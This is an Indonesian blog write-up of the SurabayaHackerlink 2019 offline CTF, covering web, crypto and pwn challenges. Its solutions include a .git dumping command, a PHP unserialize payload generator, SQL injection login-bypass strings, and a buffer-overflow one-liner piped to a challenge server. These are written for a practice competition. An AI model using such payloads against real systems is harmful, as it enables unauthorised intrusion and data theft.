CTF SurabayaHackerlink offline 2019
Senin, 26 Agustus 2019
1 Komentar
Ini sedikit writeup dari tim kami "CTF - EAT - SLEEP - REPEAT" di karena kan saya gak sempet backup sebagian soal yang web jadi gak bisa ngasih screenshot-an. Writeup ini di buat berdasarkan pembahasan di akhir acara dan deploy soal di laptop saya.
Web 1
di berikan sebuah link http://110.93.14.30:1234/ menuju halaman web yang bertuliskan "web sudah di retas". Saya coba lihat source halaman webnya dan menemukan clue ada .git disitu. Saya cek melalui browser
http://110.93.14.30:1234/.git/
ternyata benar ada git disitu. saya dump menggunakan tool GitTool dumper seperti ini :
bash gitdumper.sh http://localhost/.git/ output/
setelah itu kita coba cek hasil dump menggunakan git log -p dan di dapatkan flagnya :
flag : CTFSHL2019{1ts_h0w_g33t_w0rk5}"
Web 2
di berikan sebuah link yang menuju halaman web dan disitu terdapat source kode php seperti berikut :
menurut pembahasannya bug nya ada pada function serealize dan menyerang function dengan menggunakan function. Seperti ini kira kira script pembuatan payload nya :
<?php
class SurabayaHackerLink{
public $status = "SHL";
public $function = "scandir";
public $argument = ".";
}
$class= new SurabayaHackerLink();
$exploit = serialize($class);
echo rawurlencode($exploit);
hasil nya :
O%3A18%3A%22SurabayaHackerLink%22%3A3%3A%7Bs%3A6%3A%22status%22%3Bs%3A3%3A%22SHL%22%3Bs%3A8%3A%22function%22%3Bs%3A7%3A%22scandir%22%3Bs%3A8%3A%22argument%22%3Bs%3A1%3A%22.%22%3B%7D
setelah di dapatkan payloadnya kita submit ke webnya di http://iptarget:6969/?ctf=payload
flag : ????
Web 3
Di berikan link menuju sebuah halaman login yang ternyata vulnerable terhadap sql injection, saya masukkan
username : 'or '1'='1'--password : 'or '1'='1'--
Tinggal di submit dan di dapatkan flagnya
flag : CTFSHL2019{SQlinj3t}
Web 4
Di berikan link dan masih sama kayak soal sebelumnya yaitu login sql injection tetapi saya coba cara sebelumnya tidak berhasil. ternyata ada sebuah filter yang dimana kata or true = itu di hilangkan. setelah beberapa kali mencoba saya menggunakan payload berikut :
username : 'Or TrUe--'password : 'Or TrUe--'
Tinggal di submit dan di dapatkan flagnya
flag : CTFSHL2019{w1th0uts4m4d3ngan}
Crypto
Di berikan sebuah link tcp dan kita coba jalankan menggunakan NC muncul sebuah inputan seperti tool enkripsi ketika kita memasukkan kata 'FLAG' muncul sebuah flag tetapi sudah di enkripsi seperti berikut :
{"key":"GdqOBXzhVSQARNTAqWonozHYoGorFA","encrypted_text_in_base64":"iri3ooqkrJiHjMyUgruHkd2L6MWg7pCcwaDf5rW+"}
kira kira begini alur enkripsi nya, misal plaintext "B" dengan key "A"
huruf A di rubah ke desimal = 65
huruf B di rubah ke desimal = 66
setelah itu plainteks di kurangin dengan key
huruf B di rubah ke desimal = 66
setelah itu plainteks di kurangin dengan key
66 - 65 = 1
hasilnya di rubah ke dalam bentuk ascii lagi terus di encode base64
seperti ini script dalam python :
import base64
key = "GdqOBXzhVSQARNTAqWonozHYoGorFA"
encrypt = base64.b64decode("iri3ooqkrJiHjMyUgruHkd2L6MWg7pCcwaDf5rW+")
flag=[]
for k, e in zip(list(key), list(encrypt)):
hasil = ord(e) - ord(k)
flag.append(chr(hasil))
print "".join(flag)
setelah itu tinggal jalankan dan didapatkan flagnya
flag : CTFSHL2019{S0m3Pl4yW1tHCRYpto}
Reversing
saya gak paham kalau yang ini , maaf cuman bisa ngasih source nya
PWN 1
di berikan file binary elf :
ini soal mirip banget sama yang di compfest namanya kalau gak salah buf2. Jadi kita melakukkan bufferoverflow + lompat ke alamat function print_flag. Pertama saya melihat source kode menggunakan tool IDA PRO seperti berikut :
main source :
function print_flag source :
setelah itu saya melihat alamat memory function print_flag menggunakan gdb-peda dan didapatkan 0x0804855b
kita rubah ke dalam bentuk little endian
\x5b\x85\x04\x08
setelah itu saya menggunakan bash untuk membuat auto buffer overflow nya
for a in {1..500};do python -c "print 'A'*$a + '\x5b\x85\x04\x08'" | ./welcome;done
setelah sudah di ketahui berapa jumlah bit nya tinggal got flag
python -c "print 'A'*260 + '\x5b\x85\x04\x08'" | nc 110.93.14.30 7651
lebih jelaskan bisa lihat di link yutub berikut : https://www.youtube.com/watch?v=3doX4KpHz9o
flag : CTFSHL2019{B4S1C_PWN}
PWN 2
Di berikan file binary elf berikut :
saya gak paham yang ini menurut pembahasan sih. kita memasukkan shell_code ke alamat EIP.
link shellnya : http://shell-storm.org/shellcode/files/shellcode-692.php
mungkin ada yang paham bisa tulis di komentar.
Sekian writeup seadanya yang bisa saya buat mohon maaf banyak kekurangan semoga bermanfaat.
sumber :
- CTF - EAT - SLEEP - REPEAT
- SurabayaHackerLink
Aligato
BalasHapus